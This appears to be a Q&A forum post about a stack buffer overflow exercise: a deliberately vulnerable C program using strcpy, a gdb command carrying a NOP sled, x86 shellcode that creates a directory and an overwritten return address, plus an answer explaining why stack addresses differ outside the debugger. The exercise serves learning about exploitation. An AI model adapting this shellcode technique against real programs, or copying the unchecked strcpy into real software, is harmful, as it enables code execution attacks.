gdbreverse-engineeringmemory-addressstack-smash

reverse engineering (stack-smash) how to find out the address of the stack where the data that I entered into the program is written in the stack


So, my English is very bad, but I will try to explain my problem clearly(sorry about that). I have a program in the С programming language:

#include <stdio.h>
#include <string.h>

void vuln_func(char *data) { 
  char buff[256]; 
  strcpy(buff, data); 
} 
void main(int argc, char *argv[]) {
  vuln_func(argv[1]);
}

The program accepts any line for input. I want to enter a payload into it, which will create a TEST directory in the directory from which this program is launched.

How it works:

I run a program in the debugger with a string containing the payload:

(gdb) r $(python -c 'print "\x90" * 233 + "\x31\xc0\x50\x68\x54\x45\x53\x54\xb0\x27\x89\xe3\x66\x41\xcd\x80\xb0\x0f\x66\xb9\xff\x01\xcd\x80\x31\xc0\x40\xcd\x80\xb0\x01\x31\xdb\xcd\x80" + "\x59\xee\xff\xbf"')

In the payload, first there are 233 "nop" instructions, then the shellcode that creates the "TEST" directory, then the address to which the program should go when it reaches the "ret" instruction

Part of the program code in the form of instructions in the debugger:

(gdb) disas vuln_func
Dump of assembler code for function vuln_func:
   0x0804840b <+0>: push   ebp
   0x0804840c <+1>: mov    ebp,esp
   0x0804840e <+3>: sub    esp,0x108
   0x08048414 <+9>: sub    esp,0x8
   0x08048417 <+12>:    push   DWORD PTR [ebp+0x8]
   0x0804841a <+15>:    lea    eax,[ebp-0x108]
   0x08048420 <+21>:    push   eax
   0x08048421 <+22>:    call   0x80482e0 <strcpy@plt>
   0x08048426 <+27>:    add    esp,0x10
   0x08048429 <+30>:    nop
   0x0804842a <+31>:    leave  
   0x0804842b <+32>:    ret    
End of assembler dump.

So, the "strcpy" function puts the string that we entered into the program on the stack. Then a couple more instructions are executed. When the program reaches the "ret" instruction, the return address is on the stack. By default, it points to the address in the "main" function. I want it to point to my payload located on the stack. When the program is executed through the debugger, I can see where the return address lies in the stack and calculate the required number of "nop" instructions before the payload and the value of the desired return address. But what to do when I want to execute a program without a debugger. How do I find out where my shell code is in the stack? I tried using the same return address that I used in the payload via the debugger, but my ubuntu system reports the error "Segmentation fault (core dumped)" . That is, the return address does not correspond to the real address space of the stack, which is allocated for this program when running through the ubuntu terminal.

update: I looked at the core dump of this program. Every time I run it through the terminal, the stack address changes a lot. Here are a few stack addresses where my shell code was located: 0xbfda4161 0xbfc89161 0xbf944161 Why does the stack address change so much if I have already disabled the dynamic address space?


Solution

  • The value of the esp register on entry into main depends on the environment variables and the size of the argv[n] strings (in addition to being randomized by the kernel, which you've turned off).

    I suspect that in your case the difference is caused by argv[0], which GDB tends to resolve to the full pathname of the binary.

    You didn't tell us how you invoke the vulnerable binary outside of GDB. If you do something like ./vuln $(python -c ...) or vuln $(python -c ...), try running it as $(realpath ./vuln) $(python -c ...) instead -- that should match what happens in GDB.